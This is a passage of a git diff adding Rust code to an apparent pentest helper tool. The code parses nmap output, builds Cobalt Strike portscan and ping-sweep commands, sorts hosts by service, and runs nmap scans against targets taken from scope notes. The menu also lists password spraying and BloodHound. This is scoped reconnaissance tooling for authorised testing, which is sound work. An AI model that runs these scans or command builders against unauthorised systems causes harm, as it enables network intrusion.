"11" => {let thread_option = cli::run_command("inline terminal".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"12" => {let thread_option = cli::run_command("cobalt strike".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"13" => {let thread_option = cli::run_command("recreate distrobox".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"14" => {let thread_option = cli::run_command("generate userpass".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"15" => {let thread_option = cli::run_command("host discovery".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"16" => {let thread_option = cli::run_command("port scan".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"18" => {let thread_option = cli::run_command("stop boxes".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"19" => {let thread_option = cli::run_command("password spray".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"20" => {let thread_option = cli::run_command("bloodhound".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"21" => {let thread_option = cli::run_command("prune distroboxes".to_owned(),settings, &config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};}
|
||||||
|
"22" => loopize = false,
|
||||||
|
_ => println!("{}", "unknown selection, try again!".red()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if threads.len() > 0{
|
||||||
|
return Some(threads);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
843
pentest_tool/src/portscan_controls.rs
Normal file
843
pentest_tool/src/portscan_controls.rs
Normal file
@@ -0,0 +1,843 @@
|
|||||||
|
use std::collections::HashMap;
|
||||||
|
use std::fs;
|
||||||
|
use std::fs::{read_to_string, create_dir_all};
|
||||||
|
use std::io::Write;
|
||||||
|
use std::path::PathBuf;
|
||||||
|
use std::process::Command;
|
||||||
|
use std::thread::{sleep, spawn, JoinHandle};
|
||||||
|
use std::time::Duration;
|
||||||
|
use colored::Colorize;
|
||||||
|
use walkdir::WalkDir;
|
||||||
|
use crate::{get_user_input, print_error, print_informational, print_success};
|
||||||
|
use crate::Project;
|
||||||
|
use crate::open_overwrite;
|
||||||
|
use crate::open_append;
|
||||||
|
use crate::info_controls;
|
||||||
|
|
||||||
|
pub fn parse_normal_nmap_output(project: &Project){
|
||||||
|
let mut found_file = false;
|
||||||
|
let mut found_working = false;
|
||||||
|
let mut file_to_parse = PathBuf::new();
|
||||||
|
let mut save_path = PathBuf::new();
|
||||||
|
let files_folder = project.files_folder.clone();
|
||||||
|
println!("scanning files folder for an nmap file...");
|
||||||
|
let walkdir_result = WalkDir::new(files_folder);
|
||||||
|
for entry_res in walkdir_result{
|
||||||
|
if entry_res.is_ok(){
|
||||||
|
let entry = entry_res.unwrap();
|
||||||
|
let entry_name = entry.path().display().to_string();
|
||||||
|
if entry_name.contains("nmap") || entry_name.contains("port scan") || entry_name.contains("proxychains_output"){
|
||||||
|
file_to_parse = entry.into_path();
|
||||||
|
}
|
||||||
|
else if entry.file_type().is_dir(){
|
||||||
|
if entry.file_name().to_ascii_lowercase().to_string_lossy().contains("working"){
|
||||||
|
save_path.push(entry.path());
|
||||||
|
found_working = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found_working{
|
||||||
|
save_path.push(&project.files_folder);
|
||||||
|
}
|
||||||
|
if file_to_parse.display().to_string().len() > 1{
|
||||||
|
println!("we found {}", file_to_parse.display());
|
||||||
|
let res = get_user_input("is the the file you want to parse?");
|
||||||
|
if res.to_lowercase().contains("y"){
|
||||||
|
found_file = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found_file{
|
||||||
|
println!("ooof the right file was not found.");
|
||||||
|
let file_prompt = get_user_input("please enter the full path to the file you want to parse.");
|
||||||
|
file_to_parse.clear();
|
||||||
|
file_to_parse.push(file_prompt);
|
||||||
|
}
|
||||||
|
let file_read_res = fs::read_to_string(file_to_parse);
|
||||||
|
if file_read_res.is_err(){
|
||||||
|
let error = file_read_res.err().unwrap();
|
||||||
|
println!("{}","ooof error reading the file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let nmap_string = file_read_res.unwrap();
|
||||||
|
let sections: Vec<&str> = nmap_string.split("Nmap scan report for").collect();
|
||||||
|
let mut host_ports = Vec::new();
|
||||||
|
for section in sections{
|
||||||
|
let mut host = String::new();
|
||||||
|
for line in section.split("\n").collect::<Vec<&str>>(){
|
||||||
|
if line.contains("."){
|
||||||
|
if !line.contains("latency"){
|
||||||
|
host = line.trim().to_owned();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
if line.contains("open"){
|
||||||
|
let port = line.split_whitespace().collect::<Vec<&str>>()[0];
|
||||||
|
host_ports.push(format!("{}:{}", host, port));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("done parsing.");
|
||||||
|
if save_path.display().to_string().len() > 1{
|
||||||
|
save_path.push("parsed_namp.txt");
|
||||||
|
println!("default save location is {}", save_path.display());
|
||||||
|
if get_user_input("is this ok?").contains("n"){
|
||||||
|
let user_path = get_user_input("ok where would you like to save it instead?");
|
||||||
|
save_path.clear();
|
||||||
|
save_path.push(user_path);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let user_path = get_user_input("where would you like to save the file?");
|
||||||
|
save_path.clear();
|
||||||
|
save_path.push(user_path);
|
||||||
|
}
|
||||||
|
let save_open_res = fs::OpenOptions::new().create(true).append(true).open(&save_path);
|
||||||
|
if save_open_res.is_err(){
|
||||||
|
let error = save_open_res.err().unwrap();
|
||||||
|
println!("{}","oof error opening the save file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
if get_user_input("do you want to print the results to the console instead?").to_lowercase().contains("y"){
|
||||||
|
for host in &host_ports{
|
||||||
|
println!("{}", host);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut host_port_file = save_open_res.unwrap();
|
||||||
|
save_path.pop();
|
||||||
|
save_path.push("parsed_nmap.tsv");
|
||||||
|
let tsv_open_res = fs::OpenOptions::new().create(true).append(true).open(save_path);
|
||||||
|
if tsv_open_res.is_err(){
|
||||||
|
let error = tsv_open_res.err().unwrap();
|
||||||
|
println!("{}","error opening tsv file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
if get_user_input("do you want to print the results to the console instead?").to_lowercase().contains("y"){
|
||||||
|
for host in &host_ports{
|
||||||
|
println!("{}", host);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut tsv_file = tsv_open_res.unwrap();
|
||||||
|
for host in &host_ports{
|
||||||
|
let outline = format!("{}\n", host);
|
||||||
|
let split_data: Vec<&str> = host.split(":").collect();
|
||||||
|
let ip = split_data[0];
|
||||||
|
let port_split: Vec<&str> = split_data[1].split("/").collect();
|
||||||
|
let port = port_split[0];
|
||||||
|
let proto = port_split[1];
|
||||||
|
let tsv_outline = format!("{}\t{}\t\t{}\n", ip, port, proto);
|
||||||
|
let host_port_write_res = write!(host_port_file, "{}", outline);
|
||||||
|
let tsv_write_res = write!(tsv_file, "{}", tsv_outline);
|
||||||
|
if host_port_write_res.is_err(){
|
||||||
|
println!("error writing data to file...");
|
||||||
|
}
|
||||||
|
if tsv_write_res.is_err(){
|
||||||
|
println!("error writing data to the tsv file...");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn build_cs_portscan_cmd(project: &Project){
|
||||||
|
let mut general_note_path = project.notes_folder.clone();
|
||||||
|
general_note_path.push("general.md");
|
||||||
|
println!("Reading from: {}", general_note_path.display());
|
||||||
|
let mut ranges = Vec::new();
|
||||||
|
let general_note_string = read_to_string(general_note_path);
|
||||||
|
let mut _note_string = String::new();
|
||||||
|
match general_note_string{
|
||||||
|
Err(error) => {println!("error reading file to string!! {}", error); return;},
|
||||||
|
_=> _note_string = general_note_string.unwrap()
|
||||||
|
}
|
||||||
|
let lines: Vec<&str> = _note_string.split("\n").collect();
|
||||||
|
for line in lines{
|
||||||
|
if line.contains("|"){
|
||||||
|
if line.contains("."){
|
||||||
|
let ip = line.split("|").collect::<Vec<&str>>()[1];
|
||||||
|
if ip.contains(","){
|
||||||
|
let ips: Vec<&str> = ip.split(",").collect();
|
||||||
|
for ip in ips{
|
||||||
|
ranges.push(ip.trim_end().trim_start());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
ranges.push(ip.trim_end().trim_start());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let portscan_cmd = "portscan !!! 1-1024,1433,2222,3306,3389,5000-6000,8000,8080,8443 icmp 512";
|
||||||
|
let mut _range_command = String::new();
|
||||||
|
let combined_ranges = ranges.join(",");
|
||||||
|
let final_command = portscan_cmd.replace("!!!", &combined_ranges);
|
||||||
|
println!("{}", final_command);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn build_cmd_for_host_discovery(project: &Project){
|
||||||
|
let mut cobalt_strike_response = String::new();
|
||||||
|
let mut need_shell = false;
|
||||||
|
println!("will you be running this via cobalt strike? (do you need it to start with \"shell\"?");
|
||||||
|
let input_result = std::io::stdin().read_line(&mut cobalt_strike_response);
|
||||||
|
if input_result.is_err(){
|
||||||
|
println!("error getting user input... not really sure how you did this... just pressing enter would work..... wow");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if cobalt_strike_response.to_lowercase().contains("y"){
|
||||||
|
need_shell = true;
|
||||||
|
}
|
||||||
|
let mut general_note_path = project.notes_folder.clone();
|
||||||
|
general_note_path.push("general.md");
|
||||||
|
println!("Reading from: {}", general_note_path.display());
|
||||||
|
let mut ranges = Vec::new();
|
||||||
|
let general_note_string = read_to_string(general_note_path);
|
||||||
|
let mut _note_string = String::new();
|
||||||
|
match general_note_string{
|
||||||
|
Err(error) => {println!("{} {}", "error reading file to string!!".green(), error.to_string().green()); return;},
|
||||||
|
_=> _note_string = general_note_string.unwrap()
|
||||||
|
}
|
||||||
|
let lines: Vec<&str> = _note_string.split("\n").collect();
|
||||||
|
for line in lines{
|
||||||
|
if line.contains("|"){
|
||||||
|
if line.contains("."){
|
||||||
|
let ip = line.split("|").collect::<Vec<&str>>()[1];
|
||||||
|
if ip .contains(","){
|
||||||
|
let ips: Vec<&str> = ip.split(",").collect();
|
||||||
|
for ip in ips{
|
||||||
|
ranges.push(ip.trim_end().trim_start());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
ranges.push(ip.trim_end().trim_start());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let mut _discovery_command = "";
|
||||||
|
_discovery_command = "(for /L %a IN (1,1,254) DO ping /n 1 /w 3 !!!.%a) | find \"Reply\"";
|
||||||
|
let mut final_command = String::new();
|
||||||
|
for range in ranges{
|
||||||
|
let mut network: Vec<&str> = range.split(".").collect();
|
||||||
|
network.pop();
|
||||||
|
let network_string = network.join(".");
|
||||||
|
let mut _range_command = String::new();
|
||||||
|
if need_shell{
|
||||||
|
_range_command = format!("{}{}","shell ", _discovery_command.replace("!!!", &network_string));
|
||||||
|
need_shell = false;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
_range_command = _discovery_command.replace("!!!", &network_string);
|
||||||
|
}
|
||||||
|
final_command.push_str(_range_command.as_str());
|
||||||
|
final_command.push_str(">> ping_only_replies.txt &");
|
||||||
|
}
|
||||||
|
final_command.pop();
|
||||||
|
print_success(final_command);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn parse_csportscan(project: &Project){
|
||||||
|
let mut tsv_path = project.files_folder.clone();
|
||||||
|
tsv_path.push("working/tsvs/services.tsv");
|
||||||
|
let mut outfile = tsv_path.clone();
|
||||||
|
outfile.pop();
|
||||||
|
outfile.pop();
|
||||||
|
let mut windows_hosts = Vec::new();
|
||||||
|
let mut ssh_hosts = Vec::new();
|
||||||
|
let mut ftp_hosts = Vec::new();
|
||||||
|
let mut rdp_hosts = Vec::new();
|
||||||
|
let mut dns_hosts = Vec::new();
|
||||||
|
let mut snmp_hosts = Vec::new();
|
||||||
|
let mut web_hosts = Vec::new();
|
||||||
|
let mut telnet_hosts = Vec::new();
|
||||||
|
let mut unknown_ports = Vec::new();
|
||||||
|
|
||||||
|
if !get_user_input("do you have the tsv saved in the project folder under working/tsvs/services.tsv?").to_lowercase().contains("y"){
|
||||||
|
tsv_path.clear();
|
||||||
|
tsv_path.push(get_user_input("ooof ok, please enter the full path to your tsv file."));
|
||||||
|
}
|
||||||
|
let tsv_read_res = read_to_string(tsv_path);
|
||||||
|
if tsv_read_res.is_err(){
|
||||||
|
let error = tsv_read_res.err().unwrap();
|
||||||
|
println!("{}","ooof error reading tsv file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
println!("tsv read, parsing lines...");
|
||||||
|
let tsv_string = tsv_read_res.unwrap();
|
||||||
|
let lines: Vec<&str> = tsv_string.split("\n").collect();
|
||||||
|
for line in lines{
|
||||||
|
let words: Vec<&str> = line.split("\t").collect();
|
||||||
|
if words.len() > 1{
|
||||||
|
let host = words[0].to_lowercase().to_owned();
|
||||||
|
let port = words[1].to_lowercase().to_owned();
|
||||||
|
let host_entry = format!("{}:{}", &host, &port);
|
||||||
|
match words[1]{
|
||||||
|
"135" => {if !windows_hosts.contains(&host){windows_hosts.push(host)}},
|
||||||
|
"445" => {if !windows_hosts.contains(&host){windows_hosts.push(host)}},
|
||||||
|
"22" => {if !ssh_hosts.contains(&host){ssh_hosts.push(host);}},
|
||||||
|
"21" => {if !ftp_hosts.contains(&host){ftp_hosts.push(host);}},
|
||||||
|
"23" => {if !telnet_hosts.contains(&host){telnet_hosts.push(host)}},
|
||||||
|
"3389" => {if !rdp_hosts.contains(&host){rdp_hosts.push(host);}},
|
||||||
|
"80" | "443" | "8080" | "8443" | "4433" | "8000" => {if !web_hosts.contains(&host_entry){web_hosts.push(host_entry);}},
|
||||||
|
"53" => {if !dns_hosts.contains(&host){dns_hosts.push(host);}},
|
||||||
|
"161" => {if !snmp_hosts.contains(&host){snmp_hosts.push(host);}},
|
||||||
|
_ => {
|
||||||
|
if words.len() == 3{
|
||||||
|
let banner = words[2].to_lowercase().to_owned();
|
||||||
|
if words[2].to_lowercase().contains("ssh"){
|
||||||
|
if !ssh_hosts.contains(&host_entry){
|
||||||
|
ssh_hosts.push(host_entry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if banner.contains("ftp"){
|
||||||
|
if !ftp_hosts.contains(&host_entry){
|
||||||
|
ftp_hosts.push(host_entry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if banner.contains("nginx") || banner.contains("apache"){
|
||||||
|
if !web_hosts.contains(&host_entry){
|
||||||
|
web_hosts.push(host_entry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if words.len() == 2{
|
||||||
|
unknown_ports.push(host_entry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("is {} where you want to save your files?", outfile.display());
|
||||||
|
if get_user_input("").to_lowercase().contains("n"){
|
||||||
|
outfile.clear();
|
||||||
|
outfile.push(get_user_input("ok, please enter the full path to the folder you want to save them to."));
|
||||||
|
}
|
||||||
|
let host_number_results = format!("
|
||||||
|
{} Windows hosts found!
|
||||||
|
{} SSH hosts found!
|
||||||
|
{} FTP hosts found!
|
||||||
|
{} Telnet hosts found!
|
||||||
|
{} SNMP hosts found!
|
||||||
|
{} DNS hosts found!
|
||||||
|
{} RDP hosts found!
|
||||||
|
{} untagged hosts found!
|
||||||
|
", windows_hosts.len(), ssh_hosts.len(), ftp_hosts.len(), telnet_hosts.len(), snmp_hosts.len(), dns_hosts.len(), rdp_hosts.len(), unknown_ports.len());
|
||||||
|
print_success(host_number_results);
|
||||||
|
print_informational("data gathered, writing to notes...");
|
||||||
|
outfile.push("windows_hosts.txt");
|
||||||
|
let file_option = open_overwrite(&outfile);
|
||||||
|
if file_option.is_some(){
|
||||||
|
let mut windows_file = file_option.unwrap();
|
||||||
|
for host in windows_hosts{
|
||||||
|
let write_res = write!(windows_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","oooof error writing windows_hosts.txt!!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("windows hosts file written!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outfile.pop();
|
||||||
|
outfile.push("ssh_hosts.txt");
|
||||||
|
let file_option = open_overwrite(&outfile);
|
||||||
|
if file_option.is_some(){
|
||||||
|
let mut ssh_file = file_option.unwrap();
|
||||||
|
for host in ssh_hosts{
|
||||||
|
let write_res = write!(ssh_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","oooof error writing ssh_hosts.txt!!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("ssh hosts file written!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outfile.pop();
|
||||||
|
outfile.push("telnet_hosts.txt");
|
||||||
|
let file_option = open_overwrite(&outfile);
|
||||||
|
if file_option.is_some(){
|
||||||
|
let mut telnet_file = file_option.unwrap();
|
||||||
|
for host in telnet_hosts{
|
||||||
|
let write_res = write!(telnet_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","oooof error writing _hosts.txt!!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("telnet hosts file written!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outfile.pop();
|
||||||
|
outfile.push("ftp_hosts.txt");
|
||||||
|
let file_option = open_overwrite(&outfile);
|
||||||
|
if file_option.is_some(){
|
||||||
|
let mut ftp_file = file_option.unwrap();
|
||||||
|
for host in ftp_hosts{
|
||||||
|
let write_res = write!(ftp_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","oooof error writing _hosts.txt!!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("fpt hosts file written!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outfile.pop();
|
||||||
|
outfile.push("snmp_hosts.txt");
|
||||||
|
let file_option = open_overwrite(&outfile);
|
||||||
|
if file_option.is_some(){
|
||||||
|
let mut snmp_file = file_option.unwrap();
|
||||||
|
for host in snmp_hosts{
|
||||||
|
let write_res = write!(snmp_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","oooof error writing _hosts.txt!!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("snmp hosts file written!")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outfile.pop();
|
||||||
|
outfile.push("dns_hosts.txt");
|
||||||
|
let file_option = open_overwrite(&outfile);
|
||||||
|
if file_option.is_some(){
|
||||||
|
let mut dns_file = file_option.unwrap();
|
||||||
|
for host in dns_hosts{
|
||||||
|
let write_res = write!(dns_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","oooof error writing _hosts.txt!!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("dns hosts file written!")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outfile.pop();
|
||||||
|
outfile.push("rdp_hosts.txt");
|
||||||
|
let file_option = open_overwrite(&outfile);
|
||||||
|
if file_option.is_some(){
|
||||||
|
let mut rdp_file = file_option.unwrap();
|
||||||
|
for host in rdp_hosts{
|
||||||
|
let write_res = write!(rdp_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","oooof error writing _hosts.txt!!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("rdp hosts file written!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outfile.pop();
|
||||||
|
outfile.push("web_hosts.txt");
|
||||||
|
let file_option = open_overwrite(&outfile);
|
||||||
|
if file_option.is_some(){
|
||||||
|
let mut web_file = file_option.unwrap();
|
||||||
|
for host in web_hosts{
|
||||||
|
let write_res = write!(web_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","oooof error writing _hosts.txt!!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("web hosts file written!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
print_informational("tagged port files have been written to, saving untagged ports...");
|
||||||
|
outfile.pop();
|
||||||
|
outfile.push("untagged ports");
|
||||||
|
if !outfile.exists(){
|
||||||
|
let untagged_res = create_dir_all(&outfile);
|
||||||
|
if untagged_res.is_err(){
|
||||||
|
let error = untagged_res.err().unwrap();
|
||||||
|
println!("{}","ooof error creating untagged folder!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
untagged_res.unwrap();
|
||||||
|
print_success("untagged port file written!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for line in unknown_ports{
|
||||||
|
let line_vec:Vec<&str> = line.split(":").collect();
|
||||||
|
let host = line_vec[0].to_owned();
|
||||||
|
let port = line_vec[1].to_owned();
|
||||||
|
let file_name = format!("{}_hosts.txt", port);
|
||||||
|
outfile.push(file_name);
|
||||||
|
let write_file_opt = open_append(&outfile);
|
||||||
|
if write_file_opt.is_some(){
|
||||||
|
let mut write_file = write_file_opt.unwrap();
|
||||||
|
let write_res = write!(write_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","ooof error writing to file...".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outfile.pop();
|
||||||
|
}
|
||||||
|
print_success(format!("DONE all files saved to {}", outfile.display()));
|
||||||
|
println!("note if no hosts were found for a protocol their files will be empty.");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
|
pub fn run_nmap_portscan(project: &Project) -> Option<JoinHandle<()>>{
|
||||||
|
let notes_folder = project.notes_folder.clone();
|
||||||
|
let mut ports_to_scan = vec![String::from("80"), String::from("443"),
|
||||||
|
String::from("161"),
|
||||||
|
String::from("22"),
|
||||||
|
String::from("21"),
|
||||||
|
String::from("23"),
|
||||||
|
String::from("8080"),
|
||||||
|
String::from("8443"),
|
||||||
|
String::from("4433"),
|
||||||
|
String::from("135"),
|
||||||
|
String::from("445"),
|
||||||
|
String::from("3389"),
|
||||||
|
String::from("5985"),
|
||||||
|
String::from("1433"),
|
||||||
|
String::from("3306"),
|
||||||
|
String::from("2222"),];
|
||||||
|
let mut general_notes = notes_folder.clone();
|
||||||
|
general_notes.push("general.md");
|
||||||
|
println!("building targets from scope in general notes...");
|
||||||
|
let targets_res = info_controls::get_scope_entries(project);
|
||||||
|
if targets_res.is_none(){
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut targets = targets_res.unwrap();
|
||||||
|
print_success("Got targets from scope!");
|
||||||
|
for target in &targets{
|
||||||
|
println!("{}", target);
|
||||||
|
}
|
||||||
|
if get_user_input("does this list look ok?").to_lowercase().contains("n"){
|
||||||
|
let mut modified_targets = targets.clone();
|
||||||
|
let mut targets_to_remove = Vec::new();
|
||||||
|
let mut targets_ready = false;
|
||||||
|
while !targets_ready{
|
||||||
|
println!("current target list:");
|
||||||
|
for target in &modified_targets{
|
||||||
|
if &targets_to_remove.contains(target) == &false{
|
||||||
|
println!("{}", target);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let response = get_user_input("\nc to continue as is\na to add a target to the list\nr to remove a target from the list\nf to start fresh with a blank list of targets");
|
||||||
|
match response.as_str(){
|
||||||
|
"c" => targets_ready = true,
|
||||||
|
"a" => {let new_target = get_user_input("target to add?"); let _ = &mut modified_targets.push(new_target);},
|
||||||
|
"r" => {let _ = targets_to_remove.push(get_user_input("target to remove?"));},
|
||||||
|
"f" => {let _ = &mut modified_targets.clear();}
|
||||||
|
_ => println!("unknown selection"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for target in &targets{
|
||||||
|
println!("{}", target);
|
||||||
|
}
|
||||||
|
println!("\nwill be replace with\n");
|
||||||
|
for target in &modified_targets{
|
||||||
|
println!("{}", target);
|
||||||
|
}
|
||||||
|
if get_user_input("continue?").to_lowercase().contains("n"){
|
||||||
|
println!("ok exiting this function, feel free to try again...");
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
targets = modified_targets;
|
||||||
|
}
|
||||||
|
println!("the standard ports I scan are:");
|
||||||
|
for port in &ports_to_scan{
|
||||||
|
println!("{}", port);
|
||||||
|
}
|
||||||
|
if get_user_input("is this ok?").to_lowercase().contains("n"){
|
||||||
|
let mut ports_ready = false;
|
||||||
|
ports_to_scan.clear();
|
||||||
|
while !ports_ready{
|
||||||
|
let response = get_user_input("enter a port to scan in the nmap format. For example 80-100 or 80,443 Enter END in all caps when you're done.");
|
||||||
|
match response.as_str(){
|
||||||
|
"END" => ports_ready = true,
|
||||||
|
_ => ports_to_scan.push(response),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let proxy = get_user_input("will you be using proxychains for this scan?").to_lowercase().contains("y");
|
||||||
|
print_success("sweet we have what we need!");
|
||||||
|
print_informational("Targets:");
|
||||||
|
for target in &targets{
|
||||||
|
print_success(format!("{}", target));
|
||||||
|
}
|
||||||
|
println!("building portscan command...");
|
||||||
|
let working_project = project.clone();
|
||||||
|
let mut save_path = project.files_folder.clone();
|
||||||
|
save_path.push("working");
|
||||||
|
if !save_path.exists(){
|
||||||
|
save_path.clear();
|
||||||
|
save_path = project.files_folder.clone();
|
||||||
|
}
|
||||||
|
save_path.push("services.tsv");
|
||||||
|
let mut enumeration_notes_path = project.notes_folder.clone();
|
||||||
|
enumeration_notes_path.push("enumeration.md");
|
||||||
|
let mut nmap_output = Vec::new();
|
||||||
|
let nmap_thread = spawn(move || {
|
||||||
|
if proxy{
|
||||||
|
let port_scancmd_res = Command::new("distrobox")
|
||||||
|
.arg("enter")
|
||||||
|
.arg("--root")
|
||||||
|
.arg(working_project.boxname)
|
||||||
|
.arg("--")
|
||||||
|
.arg("proxychains")
|
||||||
|
.arg("nmap")
|
||||||
|
.arg("-sT")
|
||||||
|
.arg("-p")
|
||||||
|
.arg(ports_to_scan.join(","))
|
||||||
|
.arg(targets.join(" "))
|
||||||
|
.output();
|
||||||
|
if port_scancmd_res.is_err(){
|
||||||
|
let error = port_scancmd_res.err().unwrap();
|
||||||
|
println!("{}","FROM NMAP THREAD: error running portscan!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
nmap_output = port_scancmd_res.unwrap().stdout;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let port_scancmd_res = Command::new("distrobox")
|
||||||
|
.arg("enter")
|
||||||
|
.arg("--root")
|
||||||
|
.arg(working_project.boxname)
|
||||||
|
.arg("--")
|
||||||
|
.arg("nmap")
|
||||||
|
.arg("-sT")
|
||||||
|
.arg("-p")
|
||||||
|
.arg(ports_to_scan.join(","))
|
||||||
|
.arg(targets.join(" "))
|
||||||
|
.output();
|
||||||
|
if port_scancmd_res.is_err(){
|
||||||
|
let error = port_scancmd_res.err().unwrap();
|
||||||
|
println!("{}","FROM NMAP THREAD: error running portscan!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
nmap_output = port_scancmd_res.unwrap().stdout;
|
||||||
|
}
|
||||||
|
println!("FROM NMAP THREAD: nmap scan finished, parsing the results...");
|
||||||
|
let nmap_output_string = String::from_utf8_lossy(&nmap_output);
|
||||||
|
let mut nmap_log_path = save_path.clone();
|
||||||
|
nmap_log_path.pop();
|
||||||
|
nmap_log_path.push("nmap.log");
|
||||||
|
